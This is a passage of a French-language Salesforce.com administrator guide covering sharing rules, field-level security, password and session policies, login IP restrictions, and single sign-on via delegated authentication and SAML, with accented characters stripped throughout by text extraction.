uniquement lorsque vous avez cr au moins un rle dans
la hirarchie des rles.

Scurit et partage

Guide de l'utilisateur | propos des rgles de partage | 179

Catgorie

Description

Subordonns et Rles du Portail

Tous les rles dfinis pour le portail PRM, le portail

partenaire ou le portail client de votre organisation. Sont
compris tous les utilisateurs dans le rle de portail spcifi,
plus tous les utilisateurs des rles infrieurs dans la
hirarchie des rles du portail, l'exception des utilisateurs
du portail client haut volume qui n'ont aucun rle. Notez
que le nom d'un rle du portail inclut le nom du compte
avec lequel il est associ, l'exception des comptes
personnels, qui incluent l'Alias de l'utilisateur.

Rles et subordonns internes

Tous les rles dfinis pour votre entreprise. Sont inclus

tous les utilisateurs du rle indiqu plus tous les utilisateurs
des rles infrieurs, l'exception des rles du portail PRM,
du portail partenaire et du portail client.
Cette catgorie s'affiche uniquement si un portail PRM,
un portail partenaire ou un portail client Salesforce.com
est activ pour votre organisation.
La catgorie d'ensembles de donnes Rles et les
subordonns internes est disponible dans votre organisation
uniquement lorsque vous avez cr au moins un rle dans
la hirarchie des rleset activ un portail.

Territoires

Tous les territoires dfinis pour votre entreprise.

Territoires et subordonns

Tous les territoires dfinis pour votre entreprise. Cette

option inclut le territoire spcifi ainsi que tous les
territoires situs en dessous.

b. Dans la deuxime liste droulante, choisissez l'ensemble de donnes voulu.

5. Sur la ligne Partager avec, slectionnez l'ensemble d'utilisateurs qui doit avoir accs ces donnes.
a. Dans la premire liste droulante, choisissez une catgorie. Voici les catgories disponibles :
Catgorie

Description

Groupes publics

Tous les groupes publics dfinis par votre administrateur.

Si un portail PRM ou un portail Client est activ pour
votre entreprise, le groupe Tous les utilisateurs partenaires
ou Tous les utilisateurs du portail Client apparat. Ces
groupes comprennent tous les utilisateurs autoriss
accder votre PRM ou au portail client, l'exception des
utilisateurs du portail client haut volume.

Rles

Tous les rles dfinis pour votre organisation. Tous les

utilisateurs du rle en question sont concerns.

Scurit et partage

Guide de l'utilisateur | propos des rgles de partage | 180

Catgorie

Description

Rles du portail

Tous les rles dfinis pour le portail PRM, le portail

partenaire ou le portail client Salesforce.com de votre
organisation. Sont compris tous les utilisateurs dans le rle
de portail spcifi, l'exception des utilisateurs du portail
client haut volume qui n'ont aucun rle. Notez que le nom
d'un rle du portail inclut le nom du compte avec lequel il
est associ, l'exception des comptes personnels, qui
incluent l'Alias de l'utilisateur.

Rles et subordonns

Tous les rles dfinis pour votre entreprise. Sont inclus

tous les utilisateurs du rle spcifi plus tous les utilisateurs
des rles infrieurs, y compris les rles du portail PRM,
du portail partenaire et du portail client qui contiennent
les utilisateurs disposant du type de licence Responsable
du portail Client.
Notez que les rles du portail sont inclus dans cette
catgorie uniquement si un portail PRM, un portail
partenaire ou un portail client est activ pour votre
organisation.

Rles et subordonns du Portail

Tous les rles dfinis pour le portail PRM, le portail

partenaire ou le portail client de votre organisation. Sont
compris tous les utilisateurs dans le rle de portail spcifi,
plus tous les utilisateurs des rles infrieurs dans la
hirarchie des rles du portail, l'exception des utilisateurs
du portail client haut volume qui n'ont aucun rle. Notez
que le nom d'un rle du portail inclut le nom du compte
avec lequel il est associ, l'exception des comptes
personnels, qui incluent l'Alias de l'utilisateur.

Rles et subordonns internes

Tous les rles dfinis pour votre organisation. Sont inclus

tous les utilisateurs du rle indiqu plus tous les utilisateurs
des rles infrieurs, l'exception des rles du portail PRM,
du portail partenaire et du portail client.
Cette catgorie s'affiche uniquement si un portail PRM,
un portail partenaire ou un portail client Salesforce.com
est activ pour votre organisation.

Territoires

Tous les territoires dfinis pour votre entreprise. Cette

option inclut tous les utilisateurs qui ont t attribus ce
territoire.

Territoires et subordonns

Tous les territoires dfinis pour votre entreprise. Cela inclut

tous les utilisateurs attribus ce territoire, ainsi que tous
les utilisateurs attribus ce territoire et ceux situs en
dessous.

Scurit et partage

Guide de l'utilisateur | propos des rgles de partage | 181

b. Dans la deuxime liste droulante, choisissez un ensemble d'utilisateurs prcis.

6. Slectionnez l'accs au partage pour les utilisateurs. Les paramtres disponibles sont les suivants :
Paramtre d'accs

Description

Lecture seule

Les utilisateurs peuvent afficher les enregistrements, mais

pas les mettre jour.

Lecture/criture

Les utilisateurs peuvent afficher et mettre jour les

enregistrements.

Accs intgral

Vous pouvez crer une rgle de partage en accs intgral

pour que tous les utilisateurs du groupe, du rle ou du
territoire slectionn (si la gestion des territoires est active)
aient le contrle intgral sur un enregistrement, comme s'ils
taient responsables de cet enregistrement : possibilit
d'afficher, de modifier, de transfrer et de supprimer cet
enregistrement.

(campagnes uniquement)

Une rgle de partage en accs intgral donne galement aux

utilisateurs la possibilit d'afficher, de modifier, de supprimer
et de fermer les activits associes l'enregistement, si la
valeur par dfaut du partage des activits l'chelle de
l'entreprise est dfinie sur Contrl par parent.

Notez les lments suivants :

Pour les rgles de partage des territoires de compte et des comptes, les options Accs au contact, Accs
l'opportunit et Accs la requte ne s'appliquent qu'aux requtes, opportunits et contacts associs aux
comptes partags.
En ce qui concerne les rgles de partage des opportunits, le niveau Accs l'opportunit s'applique aux
opportunits appartenant aux membres du groupe, du rle ou du territoire, quel que soit le compte associ.
Accs au contact n'est pas disponible lorsque la valeur par dfaut des contacts l'chelle de l'entreprise est dfinie
sur Contrl par parent.

7. Cliquez sur Enregistrer.

Conseil: Les dveloppeurs peuvent se servir d'Apex pour partager les objets personnaliss via un systme de
programmation. Pour plus d'informations, reportez-vous Partage gr Apex la page 161 et au manuel Force.com
Apex Code Developer's Guide.
Modification et suppression de rgles de partage
Pour modifier ou supprimer une rgle de partage, cliquez sur Modifier ou sur Suppr dans les listes Rgles de partage associes
de la page des paramtres de partage.
Vous pouvez modifier les niveaux d'accs des rgles de partage. Vous ne pouvez pas modifier les groupes, les rles ou les
territoires spcifis de la rgle.

Scurit et partage

Guide de l'utilisateur | Configuration de la scurit au niveau du champ | 182

Recalcul des rgles de partage

Lorsque vous modifiez des groupes, des rles et des territoires, les rgles de partage sont automatiquement rvalues afin de
dterminer si des accs doivent tre ajouts ou supprims. Ces modifications peuvent porter sur l'ajout ou la suppression
d'utilisateurs individuels au niveau d'un groupe, d'un rle ou d'un territoire, sur la modification de l'ordre de hirarchie entre
deux territoires, sur le choix du rle auquel un rle prcis est subordonn, ou sur l'ajout ou la suppression d'un groupe d'un
autre groupe. Toutefois, si ces modifications affectent un trop grand nombre d'utilisateurs la fois, vous tes inform que les
rgles de partage ne seront pas automatiquement rvalues. Vous devez les recalculer manuellement.
Pour recalculer les rgles de partage, cliquez sur Recalculer dans les listes associes Rgles de partage appropries de la page
des paramtres de partage. Lors du nouveau calcul du partage, Salesforce.com rexcute galement tous les calculs de partage
Apex.

Voir aussi :
Dfinition du modle de partage par dfaut l'chelle de votre entreprise
Gestion des groupes
propos des rgles de partage

Configuration de la scurit au niveau du champ

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir la scurit au niveau du champ :

Personnaliser l'application

Vous pouvez dfinir les champs auxquels les utilisateurs ont accs. Les paramtres de scurit au niveau du champ permettent
aux administrateurs de limiter l'accs des utilisateurs concernant l'affichage et la modification de champs spcifiques sur les
pages de dtails et de modification, ainsi que dans les listes associes, les vues de liste, les rapports, Connect Offline, les rsultats
de recherche, les modles d'e-mail et de publipostage, les liens personnaliss, le portail PRM, le portail Client Salesforce.com,
et lors de la synchronisation de donnes ou de l'importation de donnes personnelles.
Les champs visibles par les utilisateurs sur les pages de dtails et de modification sont dtermins par la combinaison des
paramtres de prsentation de page et de scurit au niveau du champ. Ce sont les paramtres d'accs aux champs les plus
restrictifs de ces deux paramtrages qui s'appliquent. Par exemple, si un champ est dfini comme obligatoire dans les paramtres
de prsentation de page et en lecture seule dans les paramtres de scurit au niveau du champ, ces derniers prvalent sur la
prsentation de page et le champ sera en lecture seule pour l'utilisateur.
Important: La scurit au niveau du champ n'empche pas la recherche dans les valeurs d'un champ. Si vous ne
souhaitez pas permettre aux utilisateurs de rechercher et de rcuprer les enregistrements correspondant une valeur
d'un champ masqu par la scurit au niveau du champ, contactez le support client de salesforce.com pour obtenir
une assistance sur la configuration de votre organisation afin d'interdire tout accs indsirable ce type de valeur de
champ.
Vous pouvez dfinir la scurit au niveau du champ partir d'un profil ou d'un champ particulier. Pour dfinir la scurit au
niveau du champ :
1. Procdez comme suit :

Scurit et partage

Guide de l'utilisateur | Configuration de la scurit au niveau du champ | 183

Pour dfinir la scurit au niveau du champ pour tous les champs d'un profil spcifique :
a. Slectionnez Configuration Gestion des utilisateurs Profils.
b. Choisissez un profil pour modifier l'accs aux champs des utilisateurs dots de ce profil.
c. Dans la section Scurit au niveau du champ, cliquez sur Afficher en regard de l'onglet modifier, puis cliquez sur
Modifier.

Pour dfinir la scurit au niveau du champ pour un champ spcifique dans tous les profils :
a. Slectionnez Configuration Personnalisation, cliquez sur un onglet ou un lien d'activit, puis cliquez sur
Champs.
b. Slectionnez le champ modifier.
c. Cliquez sur Dfinir la scurit au niveau du champ.

2. Indiquez si les champs doivent tre visibles, masqus, en lecture seule ou modifiables (visibles sans la restriction Lecture
seule) pour les utilisateurs en fonction de leur profil.
3. Cliquez sur Enregistrer.
Aprs avoir configur la scurit au niveau du champ pour les utilisateurs selon leur profil, vous pouvez :

Crer des prsentations de page pour organiser les champs sur les pages de dtails et de modification (reportez-vous
Gestion des prsentations de page la page 544).
Vrifier l'accs des utilisateurs aux champs en contrlant la grille d'accessibilit des champs (reportez-vous Vrification
de l'accessibilit des champs la page 565).
Dfinir les champs qui apparaissent dans les rsultats de recherche, les botes de dialogue de recherche et les listes-cls des
pages d'accueil des onglets (reportez-vous Personnalisation des prsentations de recherche la page 572).
Remarque: Les champs de formule et rcapitulatifs de cumul sont toujours en lecture seule sur les pages de dtails et
non disponibles sur les pages de modification. Ils peuvent aussi tre accessibles par les utilisateurs mme s'ils font
rfrence des champs que ces utilisateurs ne peuvent pas voir. Les champs universellement requis apparaissent toujours
sur les pages de modification, quelle que soit la scurit au niveau du champ.
L'assistant Groupe de relations vous permet de crer et de modifier des groupes de relations indpendamment de la
scurit au niveau du champ.

Voir aussi :
Gestion des profils

Scurit et partage

Guide de l'utilisateur | Dfinition des stratgies de mot de passe | 184

Dfinition des stratgies de mot de passe

Disponible avec : Professional Edition, Contact Manager Edition, Group Edition, Enterprise Edition, Unlimited Edition
et Developer Edition.

Autorisations utilisateur requises

Pour dfinir les stratgies de mot de passe :

Personnaliser l'application

Vous pouvez dfinir plusieurs stratgies de mot de passe et de connexion pour assurer la scurit de votre entreprise.
1. Cliquez sur Configuration Commandes de scurit Stratgies de mot de passe.
2. Personnalisation des paramtres de mot de passe.
Champ

Description

Les mots de passe utilisateur expirent dans Dlai avant que tous les mots de passe utilisateur n'expirent

et ne doivent tre modifis. Ce paramtre ne concerne pas

les utilisateurs qui ont l'autorisation Le mot de passe n'expire
jamais. La valeur par dfaut est 90 jours
Activer l'historique des mots de passe

Ce champ permet d'enregistrer les prcdents mots de passe

des utilisateurs afin de les obliger toujours choisir un
nouveau mot de passe. L'historique des mots de passe n'est
pas enregistr tant que vous n'avez pas activ cette option.
La valeur par dfaut est 3 mots de passe enregistrs Vous ne
pouvez pas slectionner l'option Aucun mot de passe
mmoris si vous n'avez pas slectionn l'option N'expire
jamais dans le champ Les mots de passe
utilisateur expirent dans.

Longueur minimale du mot de passe

Nombre minimal de caractres requis pour un mot de passe.

Si vous entrez une valeur dans ce champ, les utilisateurs
existants ne seront affects qu' partir de la prochaine
modification de leur mot de passe. La valeur par dfaut est
8 caractres.

Exigence relative la complexit du mot de Restriction sur les types de caractres qui doivent tre utiliss
passe
dans un mot de passe utilisateur. Des caractres alphabtiques

et numriques doivent tre combins par dfaut. Cette option

ncessite au moins un caractre alphabtique ou un chiffre.
Exigences de la question relative au mot de Ce champ exige que la rponse d'un utilisateur la question
passe
secrte sur le mot de passe ne contienne pas le mot de passe

lui-mme.
Nombre maximal de tentatives de connexion
non valides

Nombre de connexions incorrectes autorises pour un

utilisateur avant que ce dernier ne soit verrouill

Scurit et partage

Guide de l'utilisateur | Configuration de la scurit de session | 185

Champ

Description

Priode de verrouillage effective

Dure de verrouillage de la connexion.

3. Cliquez sur Enregistrer.

Remarque: Si un utilisateur est verrouill, il peut patienter jusqu' l'expiration de la priode de verrouillage, ou
l'administrateur peut afficher les informations de cet utilisateur et cliquer sur Dverrouiller. Ce bouton n'est disponible
que lorsqu'un utilisateur est verrouill.

Voir aussi :
Dfinition des restrictions de connexion
Rinitialisation des mots de passe
Expiration des mots de passe

Configuration de la scurit de session

Le paramtre Plages IP de connexion est disponible dans : Personal Edition, Contact Manager Edition, Group
Edition et Professional Edition (les adresses IP valides peuvent tre dfinies au niveau du profil pour Enterprise Edition,
Unlimited Edition et Developer Edition)
Le paramtre Verrouiller les sessions sur l'adresse IP partir de laquelle elles ont t
ouvertes est disponible dans : Enterprise Edition, Unlimited Edition et Developer Edition
Tous les autres paramtres disponibles dans : Personal Edition, Contact Manager Edition, Group Edition, Professional
Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir la scurit de session :

Personnaliser l'application

Vous pouvez modifier les paramtres de scurit de session permettant de contrler les avertissements d'expiration de session
et d'empcher le piratage des adresses IP des utilisateurs connects.
1. Cliquez sur Configuration Commandes de scurit Paramtres de session.
2. Personnalisez les paramtres de scurit de session.
Champ

Description

Valeur d'expiration

Dlai aprs lequel le systme invite les utilisateurs inactifs

se dconnecter ou poursuivre leur travail. Slectionnez une
valeur comprise entre 30 minutes et 8 heures. Choisissez
une priode plus courte si votre organisation dispose
d'informations confidentielles et que voulez appliquer une
scurit stricte.

Scurit et partage

Guide de l'utilisateur | Configuration de la scurit de session | 186

Champ

Description

Dsactiver la fentre d'avertissement

d'expiration de session

Dtermine si le systme doit envoyer un message

d'avertissement d'expiration de session aux utilisateurs aprs
un dlai d'inactivit. Slectionnez cette option pour renforcer
la scurit.

Verrouiller les sessions sur l'adresse IP Dtermine si les sessions utilisateur sont verrouilles sur
partir de laquelle elles ont t ouvertes
l'adresse IP avec laquelle l'utilisateur s'est connect, afin

d'empcher des personnes non autorises de pirater une

session valide.
Cette option vous empche d'enregistrer des packages
Force.com AppExchange. Voir Enregistrement des
sous-applications dans l'aide en ligne de Force.com
AppExchange. De plus, vous ne pouvez pas utiliser cette
option avec la gestion des relations partenaires.
Demander des connexions scurises (HTTPS) Dtermine si les connexions et tous les accs Salesforce.com

sont requis pour utiliser HTTPS.

Cette option est active par dfaut, mais peut tre dsactive
pour autoriser galement les connexions HTTP. Nous
recommandons d'exiger des connexions HTTPS pour
accrotre la scurit.
Remarque: La page d'oubli du mot de passe est
accessible uniquement l'aide du protocole HTTPS.

Forcer la reconnexion aprs la connexion en Dtermine si un administrateur connect sous l'identit d'un
tant qu'utilisateur
autre utilisateur est renvoy la session prcdente une fois

dconnect de cette identit secondaire. Pour plus

d'informations, reportez-vous Connexion sous une identit
diffrente la page 100.
Si cette option est active, un administrateur doit se
connecter de nouveau pour continuer d'utiliser
Salesforce.com une fois dconnect avec l'identit secondaire,
sinon, il est renvoy la session d'origine.
Activer la mise en mmoire cache et la
Dtermine si le navigateur stocke le nom et le mot de passe
saisie semi-automatique du mot de passe sur de l'utilisateur et, aprs une premire connexion, entre
la page de connexion
automatiquement cette information dans la page de

connexion.
Par dfaut, la mise en mmoire cache et la saisie
semi-automatique sont actives.
Plages de connexion IP

Indique une plage d'adresses IP. Les utilisateurs doivent se

connecter partir d'adresses IP situes dans la plage
(inclusive) ; dans le cas contraire, la connexion chouera et
les utilisateurs activeront leur ordinateur pour se connecter

Scurit et partage

Guide de l'utilisateur | Restriction des plages IP de connexion pour Votre entreprise | 187

Champ

Description
avec succs. Pour plus d'informations, voir Configuration
des restrictions de connexion la page 144.
Pour spcifier une plage, cliquez sur Nouveau et entrez une
adresse IP infrieure et suprieure pour dfinir la plage.
Ce champ n'est pas disponible dans Enterprise Edition,
Unlimited Edition et Developer Edition. Dans ces ditions,
vous pouvez spcifier des adresses IP valides par profil.
Reportez-vous Restriction des plages IP de connexion dans
les profils la page 147.

3. Cliquez sur Enregistrer.

Voir aussi :
Dfinition des restrictions de connexion

Restriction des plages IP de connexion pour Votre

entreprise
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher l'accs au rseau :

Vrification de la connexion active

Pour modifier l'accs au rseau :

Grer les utilisateurs

Pour contribuer protger les donnes de votre entreprise d'un accs non-autoris, vous pouvez indiquer une liste d'adresses
IP partir desquelles les utilisateurs peuvent toujours se connecter sans recevoir de vrification de connexion :
1. Cliquez sur Configuration Contrles de scurit Accs au rseau.
2. Cliquez sur Nouveau.
3. Saisissez une adresse IP valide dans le champ Adresse IP de dbut et une adresse IP plus grande dans le champ
Adresse IP de fin.
Les adresses de dbut et de fin dfinissent la plage des adresses IP permises desquelles les utilisateurs peuvent se connecter.
Si vous souhaitez autoriser des connexions partir d'une seule adresse IP, saisissez la mme adresse dans les deux champs.
Les adresses IP de dbut et de fin ne doivent pas comprendre plus de 33 554 432 adresses (225). Par exemple, le plages
suivantes sont valides :

0.0.0.0 1.255.255.255
132.0.0.0 132.255.255.255

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 188

132.0.0.0 133 255 255 255

Toutefois, les plages telles que 0.0.0.0 2.255.255.255 ou 132.0.0.0 134.0.0.0 sont trop longues.
4. Cliquez sur Enregistrer.
Remarque: Pour les organisations actives avant dcembre 2007, Salesforce.com a automatiquement gnr la liste
des adresses IP de confiance de votre entreprise en dcembre 2007, lorsque cette fonction a t mise en place. Les
adresses IP partir desquelles des utilisateurs de confiance ont dj accd Salesforce.com au cours des six derniers
mois y ont t ajoutes.

Voir aussi :
Restriction des plages IP de connexion dans les profils
Dfinition des restrictions de connexion

A propos des Connexions uniques

L'authentification fdre est disponible dans : Toutes les ditions
L'authentification dlgue est disponible dans : Professional, Enterprise, Unlimited et Developer Edition

Autorisations utilisateur requises

Pour afficher les paramtres :

Afficher la configuration

Pour modifier les paramtres :

Personnaliser l'application
AND
Modifier toutes les donnes

Le processus de connexion unique offre aux utilisateurs rseau un accs toutes les ressources rseau autorises sans qu'ils aient
se connecter sparment chaque ressource. La connexion unique permet de valider des noms d'utilisateur et des mots de
passe avec la base de donnes de l'entreprise ou une autre application cliente, plutt que d'utiliser des mots de passe utilisateur
grs par Salesforce.com.
Salesforce.com offre les mthodes suivantes d'utilisation de la connexion unique :

Authentification fdre par le biais du SAML (Langage Balis permettant d'changer des informations lies la
scurit) : Lorsque l'authentification fdre est active, salesforce.com ne valide pas le mot de passe d'un utilisateur. la
place, salesforce.com vrifie une assertion dans la requte HTTP POST et autorise la connexion unique si l'assertion est
vraie. Il s'agit du format par dfaut de la connexion unique. L'authentification fdre est disponible dans toutes les ditions.
Authentification dlgue : Lorsque l'authentification dlgue est active, salesforce.com ne valide pas le mot de passe
d'un utilisateur. la place, salesforce.com passe un appel de services Web votre organisation afin d'tablir des identits
d'authentification pour l'utilisateur. Vous devez demander l'activation de cette fonctionnalit par salesforce.com. Contactez
salesforce.com pour activer la connexion unique par authentification dlgue pour votre organisation.

La page Paramtres de connexion unique affiche la version de connexion unique disponible pour votre organisation. Pour plus
d'informations sur les paramtres de connexion unique, reportez-vous Configuration des paramtres SAML pour la connexion

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 189

unique la page 192. Pour plus d'informations sur la scurit SAML et Salesforce.com, reportez-vous au Guide de mise en
uvre de la scurit.
Avantages de la connexion unique
La mise en place de la connexion unique peut offrir les avantages suivants votre entreprise :

Rduction des frais administratifs : Grce la connexion unique, les utilisateurs n'ont qu'un seul mot de passe mmoriser
pour accder la fois aux ressources du rseau ou aux applications externes et Salesforce.com. En accdant Salesforce.com
depuis le rseau interne d'entreprise, les utilisateurs sont connects de faon transparente, sans que le systme ne leur
demande de saisir un nom d'utilisateur ou un mot de passe. En accdant Salesforce.com depuis l'extrieur du rseau
d'entreprise, la connexion utilisateur au rseau d'entreprise se charge de connecter les utilisateurs. Le nombre de mots de
passe tant moins important, les administrateurs systme reoivent un nombre infrieur de demandes de rinitialisation
de mots de passe.
Exploitation de l'investissement existant : De nombreuses entreprises utilisent une base de donnes centrale LDAP pour
grer les identits utilisateurs. En dlguant Salesforce.com l'authentification ce systme, ds qu'un utilisateur est
supprim du systme LDAP, il perd son accs Salesforce.com. Les utilisateurs ayant quitt l'entreprise perdent donc
automatiquement leur accs aux donnes de l'entreprise ds leur dpart.
Economie de temps : En moyenne, un utilisateur met 5 20 secondes se connecter sur une application en ligne, voire
plus si le nom d'utilisateur ou le mot de passe saisis contiennent une erreur et qu'il doivent tre taps nouveau. La connexion
unique en place vite la ncessit d'une connexion manuelle Salesforce.com. Ces prcieuses secondes contribuent
amliorer votre productivit.
Augmentation du nombre d'utilisateurs : N'ayant plus besoin de se connecter, les utilisateurs sont enclins utiliser
Salesforce.com plus rgulirement. Par exemple, les utilisateurs ont la possibilit d'envoyer des e-mails comprenant des
liens vers des informations contenues dans Salesforce.com tels que des enregistrements ou des rapports. Lorsque le destinataire
du message clique sur les liens, la page Salesforce.com correspondante s'ouvre automatiquement.
Scurit accrue : Toutes les stratgies de mot de passe que vous avez mises en place pour votre rseau d'entreprise sont
galement appliques dans Salesforce.com. De plus, envoyer des informations d'authentification valables pour un utilisateur
unique peut accrotre la scurit des utilisateurs ayant accs des donnes sensibles.

Voir aussi :
Meilleures pratiques pour la mise en oeuvre d'une connexion unique
Configuration des paramtres SAML pour la connexion unique
Affichage des paramtres de connexion unique
Validation des paramtres SAML pour la connexion unique
Activation de la connexion unique pour les portails

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 190

Activation de la connexion unique dlgue l'authentification

Disponible avec : Professional, Enterprise, Unlimited et Developer Edition

Autorisations utilisateur requises

Pour afficher les paramtres :

Afficher la configuration

Pour modifier les paramtres :

Personnaliser l'application
AND
Modifier toutes les donnes

Comprhension de l'authentification dlgue dans Salesforce.com

Salesforce utilise le processus suivant pour authentifier les utilisateurs via la connexion unique avec authentification dlgue
:
1. Lorsqu'un utilisateur tente de se connecter (en ligne ou via l'API), Salesforce.com valide le nom d'utilisateur et contrle
les paramtres du profil utilisateur.
2. Si le profil utilisateur dispose de l'autorisation Connexion unique active, Salesforce.com ne valide pas le nom
d'utilisateur ni le mot de passe. En lieu et place, un appel des services Web est pass l'entreprise de l'utilisateur, demandant
la validation du nom d'utilisateur et du mot de passe.
Remarque: Les administrateurs systme doivent dsactiver la connexion unique. S'ils utilisent la connexion unique
et que votre serveur de connexion unique est momentanment indisponible, les administrateurs n'ont aucun moyen
de se connecter Salesforce.com. Les administrateurs systme doivent toujours pouvoir se connecter Salesforce.com
afin de dsactiver la connexion unique en cas de problme. Tous les utilisateurs, l'exception de ceux disposant du
profil Administrateur systme, ont l'authentification dlgue active par dfaut dans Professional Edition.
3. L'appel des services Web vise transmettre les nom d'utilisateur, mot de passe et IP source votre service
Web. (IP source correspond l'adresse IP l'origine de la demande de connexion. Vous devez crer et dployer la mise
en place d'un service Web aisment accessible par les serveurs salesforce.com.)
4. Votre mise en place du service Web valide les informations transfres et indique true (vrai) ou false (faux).
5. Si la rponse est true, alors le processus de connexion se poursuit, une nouvelle session est ouverte et l'utilisateur peut
accder l'application. Si la rponse est false, alors l'utilisateur est inform du fait que l'association de son nom d'utilisateur
et de son mot de passe n'est pas valide.
Configuration de Salesforce.com pour l'authentification dlgue
Pour activer la connexion unique dlgue l'authentification pour votre entreprise :
1. Contactez salesforce.com pour activer la connexion unique dlgue l'authentification pour votre entreprise.
2. Crez votre service Web de connexion unique :
a. Dans Salesforce.com, cliquez sur Configuration Dvelopper API Tlcharger Authentification dlgue
WSDL pour tlcharger le fichier Web Services Description Language (WSDL), AuthenticationService.wsdl.
Le WSDL dcrit le service de connexion unique dlgue l'authentification. Il peut tre utilis afin de gnrer
automatiquement une classe d'intitul de ligne sur le serveur, laquelle vous pourrez ajouter votre mise en oeuvre
spcifique. Vous pouvez par exemple utiliser la bascule --server-side dans l'outil WSDL2Java sous Apache Axis.
Dans l'outil wsdl.exe sous .NET, vous pouvez utiliser la bascule /server.

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 191

Pour voir une demande puis une rponse de dmonstration, reportez-vous Message SOAP de dmonstration pour
l'authentification dlgue la page 191.
b. Ajoutez un lien votre intranet d'entreprise ou tout autre site accessible en interne, qui reccueille les donnes
d'authentification de l'utilisateur et les transmet via un POST HTTP la page de connexion Salesforce.com.
Comme Salesforce.com ne fait aucun usage du champ mot de passe, outre sa transmission, il n'est pas ncessaire
d'envoyer un mot de passe dans ce champ. Vous pouvez utiliser un autre jeton d'authentification, tel que le ticket
Kerberos, afin de ne pas transmettre vos mots de passe d'entreprise actuels ou depuis Salesforce.com.
Vous pouvez configurer l'autorit d'authentification dlgue Salesforce afin d'autoriser uniquement les jetons, ou
d'accepter soit les jetons soit les mots de passe. Si l'autorit n'accepte que les jetons, un utilisateur Salesforce.com ne
peut pas se connecter directement Salesforce, car il ne peut crer aucun jeton valide. Toutefois, de nombreuses
entreprises choisissent d'autoriser les jetons et les mots de passe. Dans cet environnement, un utilisateur peut toutefois
se connecter Salesforce.com via la page de connexion.
Lorsque le serveur salesforce.com vous retransmet ces donnes de connexion dans le message Authentifier, vrifiez-les.
L'utilisateur pourra alors nouveau accder l'application.
3. Dans Salesforce.com, cliquez sur Configuration Contrles de Scurit Paramtres de Connexion unique
Modifier pour prciser l'URL de la passerelle de connexion unique de votre organisation. Saisissez l'URL dans la zone de
saisie URL de la passerelle dlgue.
Pour des raisons de scurit, Salesforce.com applique l'une des restrictions suivantes aux ports de sortie spcifis :

80 : Ce port n'accepte que les connexions HTTP.

443 : Ce port n'accepte que les connexions HTTP.
7000 10000 (inclus) : Ces ports acceptent les connexions HTTP ou HTTPS.

4. Modifiez votre profil utilisateur pour activer l'autorisation utilisateur Connexion unique active. Dans Salesforce.com,
cliquez sur Configuration Grer les utilisateurs Profils pour ajouter ou modifier les profils.
Important: Si la connexion unique est active pour votre organisation, les utilisateurs de l'API et du client de bureau
peuvent se connecter Salesforce.com uniquement si leur adresse IP est incluse dans la liste des adresses IP de confiance
de votre organisation ou dans leur profil, si celui-ci comprend des restrictions d'adresse IP. En outre, l'autorit de
connexion unique gre habituellement les rgles de verrouillage de la connexion pour les utilisateurs avec l'autorisation
Connexion unique active . Cependant, si le jeton de scurit est activ pour votre organisation, les paramtres de
verrouillage de la connexion de votre organisation dterminent le nombre de tentatives de connexion avec un jeton
de scurit non valide qu'un utilisateur peut effectuer avant d'tre verrouill hors de Salesforce.com. Pour plus
d'informations, reportez-vous Configuration des restrictions de connexion la page 144. Pour en savoir plus sur la
manire d'afficher les erreurs de connexion, reportez-vous Affichage des erreurs de connexion unique la page 150.
Message SOAP de dmonstration pour l'authentification dlgue
Dans le cadre du processus de connexion unique dlgue l'authentification, un serveur salesforce.com effectue une demande
SOAP 1.1 afin d'authentifier l'utilisateur qui transmet les donnes de connexion. Voici un exemple de ce type de demande. Il
faut que votre service Web de connexion unique accepte cette demande, la traite puis rende une rponse true (vrai) ou
false(faux).
Exemple de demande
<?xml version="1.0" encoding="UTF-8" ?> <soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <Authenticate
xmlns="urn:authentication.soap.sforce.com"> <username>sampleuser@sample.org</username>
<password>myPassword99</password> <sourceIp>1.2.3.4</sourceIp> </Authenticate> </soapenv:Body>
</soapenv:Envelope>

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 192

Exemple de message de rponse

<?xml version="1.0" encoding="UTF-8" ?> <soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <AuthenticateResult
xmlns="urn:authentication.soap.sforce.com"> <Authenticated>false</Authenticated>
</AuthenticateResult> </soapenv:Body> </soapenv:Envelope>

Voir aussi :
A propos des Connexions uniques
Meilleures pratiques pour la mise en oeuvre d'une connexion unique

Configuration des paramtres SAML pour la connexion unique

L'authentification fdre est disponible dans : Toutes les ditions
L'authentification dlgue est disponible dans : Professional, Enterprise, Unlimited et Developer Edition

Autorisations utilisateur requises

Pour afficher les paramtres :

Afficher la configuration

Pour modifier les paramtres :

Personnaliser l'application
ET
Modifier toutes les donnes

Le SAML doit tre activ dans votre entreprise pour pouvoir afficher les Paramtres SAML sur la page des paramtres de
connexion unique.
Comprhension de SAML dans Salesforce.com
Le SAML (Langage balis permettant d'changer des informations lies la scurit) est un standard XML qui vous permet
de communiquer des dcisions d'authentification d'un service un autre. Il est la base de nombreuses solutions Web de
connexion unique. Salesforce prend en charge SAML pour la connexion unique dans Salesforce depuis un portail d'entreprise
ou un fournisseur d'identit.
La majeure partie du travail requi pour configurer une connexion unique au moyen du SAML s'effectue hors de Salesforce :
1. Etablissez un fournisseur d'identit SAML. Il s'agit du fournisseur qui envoie des requtes de connexion unique
Salesforce.com.
2. Configurez Salesforce.com l'aide des instructions de la rubrique Configuration de Salesforce.com pour SAML la page
194. Cette tape est la seule ralise dans Salesforce.com.
3. Configurez votre fournisseur d'identit pour envoyer des assertions SAML Salesforce.com l'aide du profil POST SAML
Web Browser SSO. Les rponses SAML doivent tre envoyes l'URL de connexion au fournisseur d'identit
spcifie dans Configuration Contrles de scurit Paramtres de connexion unique.

Scurit et partage

Guide de l'utilisateur | A propos des Connexions uniques | 193

Salesforce.com reoit l'assertion, la vrifie par rapport votre configuration Salesforce.com, puis autorise la connexion
unique si l'assertion est vraie (true). Reportez-vous Personnalisation des pages Dmarrage, Connexion et Dconnexion
SAML la page 193 pour plus de dtails concernant la personnalisation des pages de dmarrage et de dconnexion.
